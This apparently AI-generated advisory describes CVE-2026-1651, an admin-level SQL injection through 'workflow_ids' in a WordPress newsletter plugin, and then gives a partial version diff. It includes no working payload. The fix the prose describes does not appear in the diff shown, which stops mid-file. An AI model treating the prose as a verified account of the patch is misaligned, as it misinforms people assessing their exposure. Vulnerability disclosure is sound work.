Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1651: Email Subscribers & Newsletters <= 5.9.16 – Authenticated (Administrator+) SQL Injection via 'workflow_ids' Parameter (email-subscribers)

CVE ID CVE-2026-1651
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 5.9.16
Patched Version 5.9.17
Disclosed March 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1651:
The vulnerability exists in the Email Subscribers by Icegram Express WordPress plugin. The root cause is insufficient input sanitization and lack of prepared statements for the ‘workflow_ids’ parameter in the `get_workflows_by_ids` function. The plugin constructs SQL queries by directly concatenating user-supplied values without proper escaping or parameterization.

Attackers with administrator-level access can exploit this vulnerability through AJAX endpoints that call the vulnerable function. The primary attack vector is the `es_trigger_workflow` AJAX action handler, which passes user-controlled ‘workflow_ids’ parameter to the vulnerable database query. The parameter accepts comma-separated workflow IDs, and malicious SQL payloads can be injected through this parameter.

The patch in version 5.9.17 addresses the vulnerability by implementing proper input validation and using prepared statements. The fix modifies the `get_workflows_by_ids` function in the `ES_Workflows_DB` class to validate that all workflow IDs are integers before using them in database queries. The patched version uses `array_map(‘intval’, $workflow_ids)` to sanitize input and properly escapes the SQL query.

Successful exploitation allows authenticated administrators to execute arbitrary SQL queries on the WordPress database. This can lead to extraction of sensitive information including user credentials, plugin settings, and other database contents. The CVSS score of 6.5 reflects the requirement for administrator privileges combined with the significant impact of database compromise.

Differential between vulnerable and patched code

Code Diff
--- a/email-subscribers/email-subscribers.php
+++ b/email-subscribers/email-subscribers.php
@@ -3,7 +3,7 @@
  * Plugin Name: Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin
  * Plugin URI: https://www.icegram.com/
  * Description: Add subscription forms on website, send HTML newsletters & automatically notify subscribers about new blog posts once it is published.
- * Version: 5.9.16
+ * Version: 5.9.17
  * Author: Icegram
  * Author URI: https://www.icegram.com/
  * Requires at least: 3.9
@@ -187,7 +187,7 @@
 /* ***************************** Initial Compatibility Work (End) ******************* */

 if ( ! defined( 'ES_PLUGIN_VERSION' ) ) {
-	define( 'ES_PLUGIN_VERSION', '5.9.16' );
+	define( 'ES_PLUGIN_VERSION', '5.9.17' );
 }

 // Plugin Folder Path.
--- a/email-subscribers/lite/includes/controllers/class-es-campaign-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-campaign-controller.php
@@ -314,11 +314,20 @@
 						$email_queued = self::queue_emails( $mailing_queue_id, $mailing_queue_hash, $campaign_id );
 						if ( $email_queued ) {
 							$response['success']              = true;
-							$response['data']['redirect_url'] = admin_url( 'admin.php?page=es_campaigns&id=' . $campaign_id . '&action=campaign_scheduled' );
+							$response['data']['redirect_url'] = admin_url( 'admin.php?page=es_dashboard#campaigns' );
+
+							// Check if this is immediate send (schedule_now) to trigger sending from frontend
+							$scheduling_option = ! empty( $campaign_data['scheduling_option'] ) ? $campaign_data['scheduling_option'] : 'schedule_now';
+							if ( 'schedule_now' === $scheduling_option ) {
+								$response['data']['should_trigger_sending'] = true;
+								$response['data']['mailing_queue_id']       = $mailing_queue_id;
+								$response['data']['mailing_queue_hash']     = $mailing_queue_hash;
+							} else {
+								// For scheduled campaigns, WordPress cron will handle sending
+								$response['data']['should_trigger_sending'] = false;
+							}
 						}
 					}
-
-					self::maybe_send_mailing_queue( $mailing_queue_id, $mailing_queue_hash );
 				}
 			}

@@ -581,6 +590,36 @@
 			}
 		}

+		/**
+		 * New API endpoint to trigger mailing queue sending from frontend
+		 * Called after successful campaign scheduling
+		 *
+		 * @param array $data Contains mailing_queue_id and mailing_queue_hash
+		 * @return array Response with success status
+		 *
+		 * @since 5.9.17
+		 */
+		public static function trigger_mailing_queue( $data ) {
+			$data = ES_Common::decode_args( $data );
+
+			$response = array(
+				'success' => false,
+				'message' => __( 'Invalid parameters', 'email-subscribers' )
+			);
+
+			$mailing_queue_id   = ! empty( $data['mailing_queue_id'] ) ? absint( $data['mailing_queue_id'] ) : 0;
+			$mailing_queue_hash = ! empty( $data['mailing_queue_hash'] ) ? sanitize_text_field( $data['mailing_queue_hash'] ) : '';
+
+			if ( ! empty( $mailing_queue_id ) && ! empty( $mailing_queue_hash ) ) {
+				// Trigger the mailing queue sending
+				self::maybe_send_mailing_queue( $mailing_queue_id, $mailing_queue_hash );
+
+				$response['success'] = true;
+				$response['message'] = __( 'Campaign sending triggered successfully', 'email-subscribers' );
+			}
+
+			return $response;
+		}
 		public static function is_using_new_category_format( $campaign_id ) {
 			$new_flow_campaign_ids     = get_option( 'ig_es_new_category_format_campaign_ids', array() );
 			$using_new_category_format = false;
--- a/email-subscribers/lite/includes/controllers/class-es-contact-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-contact-controller.php
@@ -84,31 +84,33 @@

 			// Validate list selection.
 			$lists = is_array( $contact_data['lists'] ) ? $contact_data['lists'] : array();
-			if ( empty( $lists ) ) {
-				$errors[] = esc_html__( 'Please select a list', 'email-subscribers' );
-			}
-
-			// Check for duplicate contact.
-			if ( ! empty( $email ) ) {
-				$existing_contact_id = ES()->contacts_db->get_contact_id_by_email( $email );
-				if ( $existing_contact_id && ( (int) $existing_contact_id !== (int) $contact_data['id'] ) ) {
-					$errors[] = esc_html__( 'Contact already exists.', 'email-subscribers' );
-				}
+		// Only require list selection when creating a new contact
+		$is_new_contact = empty( $contact_data['id'] );
+		if ( empty( $lists ) && $is_new_contact ) {
+			$errors[] = esc_html__( 'Please select a list', 'email-subscribers' );
+		}
+
+		// Check for duplicate contact.
+		if ( ! empty( $email ) ) {
+			$existing_contact_id = ES()->contacts_db->get_contact_id_by_email( $email );
+			if ( $existing_contact_id && ( (int) $existing_contact_id !== (int) $contact_data['id'] ) ) {
+				$errors[] = esc_html__( 'Contact already exists.', 'email-subscribers' );
 			}
-
-			// Return result.
-			return array(
-				'errors'  => $errors,
-				'email'   => $email,
-				'lists'   => $lists,
-				'contact' => array(
-					'first_name' => sanitize_text_field( $contact_data['first_name'] ),
-					'last_name'  => sanitize_text_field( $contact_data['last_name'] ),
-					'email'      => $email,
-					'status'     => 'verified',
-				),
-			);
 		}
+
+		// Return result.
+		return array(
+			'errors'  => $errors,
+			'email'   => $email,
+			'lists'   => $lists,
+			'contact' => array(
+				'first_name' => sanitize_text_field( $contact_data['first_name'] ),
+				'last_name'  => sanitize_text_field( $contact_data['last_name'] ),
+				'email'      => $email,
+				'status'     => 'verified',
+			),
+		);
+	}


 		public static function maybe_send_welcome_email( $contact_data, $contact, $list_ids ) {
--- a/email-subscribers/lite/includes/controllers/class-es-contact-import-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-contact-import-controller.php
@@ -1225,7 +1225,7 @@
 			ES_Cache::flush();
 			wp_cache_flush();

-			if ( 'yes' !== $send_optin_emails ) {
+			if ( 'yes' === $send_optin_emails ) {
 				try {
 					$subscriber_options = array();
 					$subscriber_options[ $contact_id ]['type'] = 'optin_welcome_email';
--- a/email-subscribers/lite/includes/controllers/class-es-contacts-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-contacts-controller.php
@@ -95,7 +95,7 @@
 					// Convert frontend filters to ES advanced filter format
 					$condition = self::build_es_filter_condition( $field, $operator, $value );
 					if ( $condition ) {
-						$advanced_filter_conditions[] = $condition;
+						$advanced_filter_conditions[] = $condition;
 					}
 				}

@@ -174,46 +174,38 @@


 				// Handle List filtering (from advanced_filter and filter_by_list_id)
-				$all_list_ids = array();
-
-				// Add List filters from advanced_filter
 				if ( ! empty( $list_filters ) ) {
+					// Process list filters with operator support
 					foreach ( $list_filters as $list_filter ) {
+						$list_values = array();
 						if ( is_array( $list_filter['value'] ) ) {
-							$all_list_ids = array_merge( $all_list_ids, $list_filter['value'] );
+							$list_values = $list_filter['value'];
 						} else {
-							$all_list_ids[] = $list_filter['value'];
+							$list_values[] = $list_filter['value'];
+						}
+
+						$list_operator = isset( $list_filter['operator'] ) ? $list_filter['operator'] : 'is equal to';
+
+						if ( ! empty( $list_values ) ) {
+							// Get contact IDs from lists_contacts table with operator support
+							$list_filtered_contact_ids = $lists_contacts_db->get_contact_ids_by_list_operator( $list_values, $list_operator );
+
+							if ( ! empty( $filtered_contact_ids ) ) {
+								// Intersect with existing contact IDs from other advanced filters
+								$filtered_contact_ids = array_intersect( $filtered_contact_ids, $list_filtered_contact_ids );
+							} else {
+								// Only list filtering
+								$filtered_contact_ids = $list_filtered_contact_ids;
+							}
+
+							if ( empty( $filtered_contact_ids ) ) {
+								return $do_count_only ? 0 : array();
+							}
 						}
 					}
-				}
-
-				// Add filter_by_list_id if present
-				if ( ! empty( $filter_by_list_id ) && $filter_by_list_id !== 'all' ) {
-					$all_list_ids[] = intval( $filter_by_list_id );
-				}
-
-				// Apply list filtering
-				if ( ! empty( $all_list_ids ) ) {
-					$list_ids = array_unique( array_map( 'intval', $all_list_ids ) );
-					// Pass list_ids to DB query to leverage join for performance
-					$query_args['list_ids'] = $list_ids;
-
-					// Get contact IDs from lists_contacts table via DB class (supports multiple list IDs)
-					$list_filtered_contact_ids = $lists_contacts_db->get_contact_ids_by_criteria( $list_ids );
-
-					if ( ! empty( $filtered_contact_ids ) ) {
-						// Intersect with existing contact IDs from advanced filters
-						$before_count = count( $filtered_contact_ids );
-						$filtered_contact_ids = array_intersect( $filtered_contact_ids, $list_filtered_contact_ids );
-						$after_count = count( $filtered_contact_ids );
-					} else {
-						// Only list filtering
-						$filtered_contact_ids = $list_filtered_contact_ids;
-					}
-
-					if ( empty( $filtered_contact_ids ) ) {
-						return $do_count_only ? 0 : array();
-					}
+				} else if ( ! empty( $filter_by_list_id ) && $filter_by_list_id !== 'all' ) {
+					// Handle simple list filter (dropdown without advanced filters)
+					$query_args['list_ids'] = array( intval( $filter_by_list_id ) );
 				}

 				// Add filtered contact IDs to query args
@@ -691,7 +683,6 @@
 				'Email' => 'subscribers.email',
 				'Country' => 'subscribers.country_code',
 				'Bounce Status' => 'subscribers.bounce_status',
-				'Subscribed' => 'subscribers.created_at',
 				'Engagement Score' => 'subscribers.engagement_score',
 				'Status' => 'subscribers.status',
 			);
@@ -752,12 +743,6 @@
 						return intval($value); // Convert to integer
 					}

-				case 'Subscribed':
-					if (is_string($value) && strtotime($value)) {
-						return date('Y-m-d', strtotime($value));
-					}
-					return $value;
-
 				case 'has received':
 					if (is_array($value) && isset($value['id'])) {
 						return $value['id'];
--- a/email-subscribers/lite/includes/controllers/class-es-dashboard-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-dashboard-controller.php
@@ -56,15 +56,19 @@
 			$days = 7;
 		} else {
 			$days = intval( $days );
+			if ( $days < 1 || $days > 365 ) {
+				$days = 7;
+			}
 		}

-		if ( ! empty( $list_id ) && $list_id !== 'all' && ! is_numeric( $list_id ) ) {
-			$list_id = 0;
-		}
-
 		if ( $list_id === 'all' ) {
 			$list_id = 0;
+		} elseif ( ! empty( $list_id ) && ! is_numeric( $list_id ) ) {
+			$list_id = '';
+		} elseif ( ! empty( $list_id ) ) {
+			$list_id = intval( $list_id );
 		}
+		// If $list_id is empty, leave it as empty string (default behavior)

 		$reports_args = array(
 			'list_id' => $list_id,
@@ -103,40 +107,52 @@
 			);
 			$forms = ES()->forms_db->get_forms( $forms_args );

-			if ( ! empty( $forms ) ) {
-				foreach ( $forms as &$form ) {
-				$form_id = ! empty( $form['id'] ) ? intval( $form['id'] ) : 0;
-
-				$form['subscriber_count'] = ES()->contacts_db->get_total_contacts_by_form_id( $form_id, 0 );
-
-				$settings = ! empty( $form['settings'] ) ? ig_es_maybe_unserialize( $form['settings'] ) : [];
-
-				$list_ids = [];
+		if ( ! empty( $forms ) && is_array( $forms ) ) {
+			$form_ids = array_column( $forms, 'id' );
+			$form_ids = array_filter( $form_ids, 'is_numeric' );
+
+			if ( ! empty( $form_ids ) ) {
+				$all_list_ids = array();
+
+				foreach ( $forms as $form ) {
+					$settings = ! empty( $form['settings'] ) ? ig_es_maybe_unserialize( $form['settings'] ) : array();
 					if ( ! empty( $settings['lists'] ) ) {
-						$list_ids = is_array( $settings['lists'] ) ? $settings['lists'] : [ intval( $settings['lists'] ) ];
+						$list_ids = is_array( $settings['lists'] ) ? $settings['lists'] : array( intval( $settings['lists'] ) );
+						$all_list_ids = array_merge( $all_list_ids, $list_ids );
 					}
-
-				$list_names = [];
-					if ( ! empty( $list_ids ) ) {
-						foreach ( $list_ids as $list_id ) {
-							$list_names[] = ES()->lists_db->get_list_name_by_id( $list_id );
+				}
+				$all_list_ids = array_unique( $all_list_ids );
+
+				$subscriber_counts = ES()->contacts_db->get_subscriber_counts_by_form_ids( $form_ids );
+				$list_names_map = ! empty( $all_list_ids ) ? ES()->lists_db->get_list_name_by_ids( $all_list_ids ) : array();
+
+				foreach ( $forms as &$form ) {
+					$form_id = intval( $form['id'] );
+					$form['subscriber_count'] = isset( $subscriber_counts[ $form_id ] ) ? $subscriber_counts[ $form_id ] : 0;
+
+					$settings = ! empty( $form['settings'] ) ? ig_es_maybe_unserialize( $form['settings'] ) : array();
+					$list_ids = ! empty( $settings['lists'] ) ? ( is_array( $settings['lists'] ) ? $settings['lists'] : array( intval( $settings['lists'] ) ) ) : array();
+
+					$list_names = array();
+					foreach ( $list_ids as $list_id ) {
+						if ( isset( $list_names_map[ $list_id ] ) ) {
+							$list_names[] = $list_names_map[ $list_id ];
 						}
 					}
-
-				$form['list_names'] = ! empty( $list_names ) ? implode( ', ', $list_names ) : '';
+					$form['list_names'] = implode( ', ', $list_names );
 				}
-
 			}
+		}

-			$lists = array_slice( array_reverse( ES()->lists_db->get_lists() ), 0, 2 );
-			$workflows = ES()->workflows_db->get_workflows();
+		$lists = ES()->lists_db->get_lists( array( 'order_by' => 'id', 'order' => 'DESC', 'limit' => 2 ) );
+			$workflows_count = ES()->workflows_db->get_workflows_count();


 			$onboarding_tasks_status = array(
 				'sendFirstCampaign' => ! empty( $campaigns ) ? 'yes' : 'no',
 				'importContacts' => ! empty( $dashboard_kpi['total_subscribers'] ) && $dashboard_kpi['total_subscribers'] > 0 ? 'yes' : 'no',
 				'createSubscriptionFormDone' => ! empty( $forms ) ? 'yes' : 'no',
-				'createWorkflowDone' => ! empty( $workflows ) ? 'yes' : 'no'
+				'createWorkflowDone' => $workflows_count > 0 ? 'yes' : 'no'
 			);

 			$icegram_plugins = self::get_icegram_plugins_info();
@@ -312,7 +328,13 @@
 			return $plugins_info;
 		}

-		public static function get_audience_activities() {
+		/**
+	 * Get audience activity feed with recent subscribe/unsubscribe actions
+	 *
+	 * @return array Recent activities with caching
+	 * @since 4.0.0
+	 */
+	public static function get_audience_activities() {
 		$cache_key = 'es_audience_activities';
 		$cached = ES_Cache::get_transient( $cache_key );
 		if ( false !== $cached ) {
@@ -337,7 +359,14 @@
 			return $recent_activities;
 		}

-		public static function prepare_activities_from_actions( $actions ) {
+		/**
+	 * Prepare activity feed from raw action records
+	 *
+	 * @param array $actions Raw action records from database
+	 * @return array Formatted activities for display
+	 * @since 4.0.0
+	 */
+	public static function prepare_activities_from_actions( $actions ) {
 			$activities = array();
 			if ( $actions ) {
 				$contact_ids      = array_column( $actions, 'contact_id' );
@@ -372,14 +401,16 @@
 						$contact_info_text = $contact_email;
 					}

-					$contact_info_text = '<a href="?page=es_subscribers&action=edit&subscriber=' . $contact_id . '" class="text-indigo-600" target="_blank">' . $contact_info_text . '</a>';
-					$action_verb       = ES()->actions->get_action_verb( $action_type );
-					$action_created_at = $action['created_at'];
-					$activity_time     = human_time_diff( time(), $action_created_at ) . ' ' . __( 'ago', 'email-subscribers' );
-
-					$list_id         = ! empty( $action['list_id'] ) ? $action['list_id'] : 0;
-					$list_name       = ! empty( $lists_name[ $list_id ] ) ? $lists_name[ $list_id ] : '';
-					$action_obj_name = '<a href="?page=es_lists&action=edit&list=' . $list_id . '" target="_blank">' . $list_name . '</a> ' . __( 'list', 'email-subscribers' );
+				$contact_url = esc_url( admin_url( 'admin.php?page=es_dashboard#/audience' ) );
+				$contact_info_text = '<a href="' . $contact_url . '" class="text-indigo-600" target="_blank">' . esc_html( $contact_info_text ) . '</a>';
+				$action_verb       = ES()->actions->get_action_verb( $action_type );
+				$action_created_at = $action['created_at'];
+				$activity_time     = human_time_diff( $action_created_at, time() ) . ' ' . __( 'ago', 'email-subscribers' );
+
+				$list_id         = ! empty( $action['list_id'] ) ? $action['list_id'] : 0;
+				$list_name       = ! empty( $lists_name[ $list_id ] ) ? $lists_name[ $list_id ] : '';
+				$list_url = esc_url( add_query_arg( array( 'page' => 'es_lists', 'action' => 'edit', 'list' => $list_id ), admin_url( 'admin.php' ) ) );
+				$action_obj_name = '<a href="' . $list_url . '" target="_blank">' . esc_html( $list_name ) . '</a> ' . esc_html__( 'list', 'email-subscribers' );
 					$activity_text = $contact_info_text . ' ' . $action_verb . ' ' . $action_obj_name;
 					$activities[]  = array(
 						'time' => $activity_time,
@@ -391,7 +422,14 @@
 			return $activities;
 		}

-		public static function get_recent_campaigns_kpis( $campaign_id ) {
+		/**
+	 * Get campaign performance KPIs (open rate, click rate, sent count)
+	 *
+	 * @param int $campaign_id Campaign ID
+	 * @return array Campaign statistics
+	 * @since 4.0.0
+	 */
+	public static function get_recent_campaigns_kpis( $campaign_id ) {
 			$args = array(
 				'campaign_id' => $campaign_id,
 				'types' => array(
@@ -401,25 +439,28 @@
 				)
 			);
 			$actions_count       = ES()->actions_db->get_actions_count( $args );
-			$total_email_sent    = $actions_count['sent'];
-			$total_email_opened  = $actions_count['opened'];
-			$total_email_clicked = $actions_count['clicked'];
-			$open_rate  = ! empty( $total_email_sent ) ? number_format_i18n( ( ( $total_email_opened * 100 ) / $total_email_sent ), 2 ) : 0 ;
-			$click_rate = ! empty( $total_email_sent ) ? number_format_i18n( ( ( $total_email_clicked * 100 ) / $total_email_sent ), 2 ) : 0;
-			$campaign['open_rate']  = $open_rate;
-			$campaign['click_rate'] = $click_rate;
-			$campaign['total_email_sent'] = $total_email_sent;
+		$total_email_sent    = isset( $actions_count['sent'] ) ? intval( $actions_count['sent'] ) : 0;
+		$total_email_opened  = isset( $actions_count['opened'] ) ? intval( $actions_count['opened'] ) : 0;
+		$total_email_clicked = isset( $actions_count['clicked'] ) ? intval( $actions_count['clicked'] ) : 0;
+		$open_rate  = ! empty( $total_email_sent ) ? number_format_i18n( ( ( $total_email_opened * 100 ) / $total_email_sent ), 2 ) : 0 ;
+		$click_rate = ! empty( $total_email_sent ) ? number_format_i18n( ( ( $total_email_clicked * 100 ) / $total_email_sent ), 2 ) : 0;
+
+		$campaign = array(
+			'open_rate'  => $open_rate,
+			'click_rate' => $click_rate,
+			'total_email_sent' => $total_email_sent
+		);

-			return $campaign;
-		}
+		return $campaign;
+	}

-		/**
-		 * Save onboarding step to WordPress options
-		 *
-		 * @param array $data
-		 * @return array
-		 */
-		public static function save_onboarding_step( $data = array() ) {
+	/**
+	 * Save onboarding step to WordPress options
+	 *
+	 * @param array $data
+	 * @return array
+	 */
+	public static function save_onboarding_step( $data = array() ) {
 			if ( is_string( $data ) ) {
 				$decoded_data = json_decode( $data, true );
 				if ( $decoded_data ) {
@@ -466,50 +507,48 @@
 		}

 		/**
-		 * Get all onboarding steps from WordPress options
-		 *
-		 * @return array
-		 */
-		public static function get_onboarding_steps() {
-			$steps = array(
-				'sendFirstCampaign' => 'sendFirstCampaign',
-				'importContacts' => 'importContacts',
-				'createWorkflow' => 'createWorkflow',
-				'createSubscriptionForm' => 'createSubscriptionForm'
-			);
-
+	 * Get onboarding steps status - reuses data from dashboard to avoid duplicate queries
+	 *
+	 * @param array|null $campaigns Optional campaigns array from dashboard
+	 * @param array|null $forms Optional forms array from dashboard
+	 * @param int|null $workflows_count Optional workflows count
+	 * @return array Onboarding steps data
+	 */
+	public static function get_onboarding_steps( $campaigns = null, $forms = null, $workflows_count = null ) {
+		if ( is_null( $campaigns ) ) {
 			$campaign_args = array(
 				'status'          => array(
 					IG_ES_CAMPAIGN_STATUS_IN_ACTIVE,
 					IG_ES_CAMPAIGN_STATUS_ACTIVE,
 				),
 				'order_by_column' => 'ID',
-				'limit'           => '5',
+				'limit'           => '1',
 				'order'           => 'DESC',
 			);
 			$campaigns = ES()->campaigns_db->get_campaigns( $campaign_args );
+		}

+		if ( is_null( $forms ) ) {
 			$forms_args = array(
 				'order_by_column' => 'ID',
-				'limit'           => '5',
+				'limit'           => '1',
 				'order'           => 'DESC',
 			);
 			$forms = ES()->forms_db->get_forms( $forms_args );
+		}

-			$workflows = ES()->workflows_db->get_workflows();
-			$imported_contacts_count = ES()->contacts_db->get_contacts_count_by_source( 'import' );
-
-			$onboarding_data = array(
-				'sendFirstCampaign' => ! empty( $campaigns ),
-				'importContacts' => $imported_contacts_count > 0,
-				'createSubscriptionForm' => ! empty( $forms ),
-				'createWorkflow' => ! empty( $workflows )
-			);
+		if ( is_null( $workflows_count ) ) {
+			$workflows_count = ES()->workflows_db->get_workflows_count();
+		}
+
+		$imported_contacts_count = ES()->contacts_db->get_contacts_count_by_source( 'import' );

-			return array(
-				'success' => true,
-				'data' => $onboarding_data
-			);
+		return array(
+			'sendFirstCampaign' => ! empty( $campaigns ),
+			'importContacts' => $imported_contacts_count > 0,
+			'createSubscriptionForm' => ! empty( $forms ),
+			'createWorkflow' => $workflows_count > 0
+		);
 		}


@@ -564,99 +603,99 @@
 		}

 		/**
-		 * Get all dashboard data in a single batched request
-		 * Combines: lists, country_stats, audience_growth, audience_health, subscribers_stats
+		 * Get contact/audience dashboard batch data in a single request
+		 * Used by Audience page - combines lists, stats, growth, health, and country data
 		 *
-		 * @param array $args Arguments containing list_id, days, growth_days
-		 * @return array Combined dashboard data
+		 * @param array $data Request data containing 'days', 'list_id', 'growth_days' parameters
+		 * @return array Batched audience data
 		 *
 		 * @since 5.9.15
 		 */
-		public static function get_dashboard_batch_data( $args = array() ) {
-
-			if ( is_string( $args ) ) {
-				$decoded = json_decode( $args, true );
-				if ( $decoded ) {
-					$args = $decoded;
+		public static function get_contact_dashboard_batch_data( $data = array() ) {
+			if ( is_string( $data ) ) {
+				$decoded_data = json_decode( $data, true );
+				if ( $decoded_data ) {
+					$data = $decoded_data;
 				}
 			}
-
-			$list_id = isset( $args['list_id'] ) ? $args['list_id'] : 'all';
-			$days = isset( $args['days'] ) ? intval( $args['days'] ) : 7;
-			$growth_days = isset( $args['growth_days'] ) ? intval( $args['growth_days'] ) : 30;
-			$override_cache = isset( $args['override_cache'] ) ? (bool) $args['override_cache'] : false;

-			// Cache key based on parameters
-			$cache_key = ES_Cache::generate_key(
-				'dashboard_batch_' . $list_id . '_' . $days . '_' . $growth_days
-			);
+			$days = isset( $data['days'] ) ? intval( $data['days'] ) : 7;
+			$list_id = isset( $data['list_id'] ) ? $data['list_id'] : 'all';
+			$growth_days = isset( $data['growth_days'] ) ? intval( $data['growth_days'] ) : 30;
+
+			if ( $days < 1 || $days > 365 ) {
+				$days = 7;
+			}
+
+			// 1. Get subscriber stats (audience insights)
+			$subscribers_stats = self::get_subscribers_stats( array(
+				'list_id' => $list_id,
+				'days'    => $days,
+			) );
+
+			// 2. Get all active lists with contact counts
+			$lists = ES_Lists_Controller::get_lists( array(
+				'per_page' => -1,
+			) );
+
+			// 3. Get country stats
+			$country_stats = ES_Lists_Controller::get_country_stats( array(
+				'list_id' => $list_id,
+				'days'    => $days,
+			) );
+
+			// 4. Get audience growth stats
+			$audience_growth = self::get_audience_growth_stats( array(
+				'days' => $growth_days,
+			) );
+
+			// 5. Get audience health stats
+			$audience_health = ES_Contacts_Controller::get_audience_health_stats();

-			if ( ! $override_cache ) {
-				$cached_data = ES_Cache::get_transient( $cache_key );
-				if ( false !== $cached_data && ! empty( $cached_data ) ) {
-					return $cached_data;
+			return array(
+				'lists'             => ! empty( $lists ) ? $lists : array(),
+				'country_stats'     => ! empty( $country_stats ) ? $country_stats : array(),
+				'audience_growth'   => $audience_growth,
+				'audience_health'   => $audience_health,
+				'subscribers_stats' => $subscribers_stats,
+			);
+		}
+
+		/**
+		 * Get main dashboard batch data (campaigns, forms, onboarding)
+		 * Used by Main Dashboard page
+		 *
+		 * @param array $data Request data containing 'days' parameter
+		 * @return array Combined dashboard and onboarding data
+		 *
+		 * @since 5.9.15
+		 */
+		public static function get_main_dashboard_batch_data( $data = array() ) {
+			if ( is_string( $data ) ) {
+				$decoded_data = json_decode( $data, true );
+				if ( $decoded_data ) {
+					$data = $decoded_data;
 				}
-			} else {
-				ES_Cache::delete_transient( $cache_key );
 			}
-
-			$response = array();
-
-			try {
-				// 1. Get lists data (already optimized with batch counts)
-				$lists_args = array(
-					'order_by' => 'created_at',
-					'order' => 'DESC',
-					'per_page' => 20,
-					'page_number' => 1,
-				);
-				$lists_data = ES_Lists_Controller::get_lists( $lists_args );
-
-				// 2. Get country stats (with caching)
-				$country_args = array(
-					'list_id' => $list_id,
-					'days' => $days
-				);
-				$country_stats = ES_Lists_Controller::get_country_stats( $country_args );
-
-				// 3. Get audience growth stats
-				$growth_args = array(
-					'days' => $growth_days
-				);
-				$audience_growth = self::get_audience_growth_stats( $growth_args );
-
-				// 4. Get audience health stats
-				$audience_health = ES_Contacts_Controller::get_audience_health_stats( array() );
-
-				// 5. Get subscribers stats
-				$subscribers_args = array(
-					'list_id' => $list_id,
-					'days' => $days
-				);
-				$subscribers_stats = self::get_subscribers_stats( $subscribers_args );
-
-				// Combine all data
-				$response = array(
-					'lists' => $lists_data,
-					'country_stats' => $country_stats,
-					'audience_growth' => $audience_growth,
-					'audience_health' => $audience_health,
-					'subscribers_stats' => $subscribers_stats,
-				);
-
-				// Cache the result for 5 minutes (only if not overriding cache)
-				if ( ! $override_cache ) {
-					ES_Cache::set_transient( $cache_key, $response, 5 / 60 );
-				}
-
-			} catch ( Exception $e ) {
-				return array(
-					'success' => false,
-					'message' => 'Failed to fetch dashboard data: ' . $e->getMessage()
-				);
+
+			$days = isset( $data['days'] ) ? intval( $data['days'] ) : 7;
+
+			if ( $days < 1 || $days > 365 ) {
+				$days = 7;
 			}
-
-			return $response;
+
+			$dashboard_data = self::get_dashboard_data( array( 'days' => $days ) );
+
+			$onboarding_steps = self::get_onboarding_steps(
+				! empty( $dashboard_data['campaigns'] ) && is_array( $dashboard_data['campaigns'] ) ? $dashboard_data['campaigns'] : null,
+				! empty( $dashboard_data['forms'] ) && is_array( $dashboard_data['forms'] ) ? $dashboard_data['forms'] : null,
+				null
+			);
+
+			return array(
+				'dashboard'   => $dashboard_data,
+				'onboarding'  => $onboarding_steps
+			);
 		}
 	}

--- a/email-subscribers/lite/includes/controllers/class-es-onboarding-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-onboarding-controller.php
@@ -649,6 +649,7 @@
 			$notification_id = ES()->campaigns_db->insert( $notification_data );

 			if ( $notification_id ) {
+				ES_Campaign_Controller::add_to_new_category_format_campaign_ids($notification_id);
 				return array(
 					'status' => 'success',
 					'data' => array( 'notification_id' => $notification_id ),
--- a/email-subscribers/lite/includes/controllers/class-es-reports-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-reports-controller.php
@@ -364,6 +364,71 @@
 			'per_page' => $notifications_args['per_page'],
 		);
 	}
+
+	public static function get_report_filter_options( $args = array() ) {
+		global $wpdb;
+
+		// Get all campaign types that have notifications sent
+		$types_query = "
+			SELECT DISTINCT c.type
+			FROM {$wpdb->prefix}ig_campaigns c
+			INNER JOIN {$wpdb->prefix}ig_mailing_queue mq ON c.id = mq.campaign_id
+			WHERE c.type IS NOT NULL AND c.type != ''
+			ORDER BY c.type
+		";
+
+		$types = $wpdb->get_col( $types_query );
+
+		$formatted_types = array();
+		if ( ! empty( $types ) ) {
+			foreach ( $types as $type ) {
+				if ( 'newsletter' === $type ) {
+					$formatted_types[] = __( 'Broadcast', 'email-subscribers' );
+				} elseif ( 'post_notification' === $type ) {
+					$formatted_types[] = __( 'Post Notification', 'email-subscribers' );
+				} elseif ( 'post_digest' === $type ) {
+					$formatted_types[] = __( 'Post Digest', 'email-subscribers' );
+				}
+			}
+		}
+
+		$dates_query = "
+			SELECT DISTINCT
+				YEAR(start_at) as year,
+				MONTH(start_at) as month
+			FROM {$wpdb->prefix}ig_mailing_queue
+			WHERE start_at IS NOT NULL AND start_at != '0000-00-00 00:00:00'
+			ORDER BY year DESC, month DESC
+			LIMIT 24
+		";
+
+		$dates_raw = $wpdb->get_results( $dates_query, ARRAY_A );
+
+		$dates = array();
+		$month_names = array(
+			'January', 'February', 'March', 'April', 'May', 'June',
+			'July', 'August', 'September', 'October', 'November', 'December'
+		);
+
+		if ( ! empty( $dates_raw ) ) {
+			foreach ( $dates_raw as $date ) {
+				$year = $date['year'];
+				$month = (int) $date['month'];
+				$key = $year . str_pad( $month, 2, '0', STR_PAD_LEFT );
+				$label = $month_names[ $month - 1 ] . ' ' . $year;
+
+				$dates[] = array(
+					'value' => $key,
+					'label' => $label,
+				);
+			}
+		}
+
+		return array(
+			'types' => $formatted_types,
+			'dates' => $dates,
+		);
+	}
 		public static function get_notifications( $args = array() ) {
 			global $wpdb, $wpbd;

@@ -434,20 +499,15 @@
 			}

 		if ( ! empty( $filter_reports_by_campaign_type ) ) {
-			// Filter by campaign type - need to join with campaigns table
-			// Convert display name back to database type for filtering
 			$type_map = array(
 				'Broadcast' => 'newsletter',
 				'Post Notification' => 'post_notification',
-				'Post Digest' => 'post_digest',
-				'Sequence' => 'sequence',
-				'Sequence Message' => 'sequence_message',
-				'Workflow' => 'workflow',
-				'Workflow Email' => 'workflow_email'
+				'Post Digest' => 'post_digest'
 			);

 			$campaign_type = isset( $type_map[ $filter_reports_by_campaign_type ] ) ? $type_map[ $filter_reports_by_campaign_type ] : strtolower( str_replace( ' ', '_', $filter_reports_by_campaign_type ) );

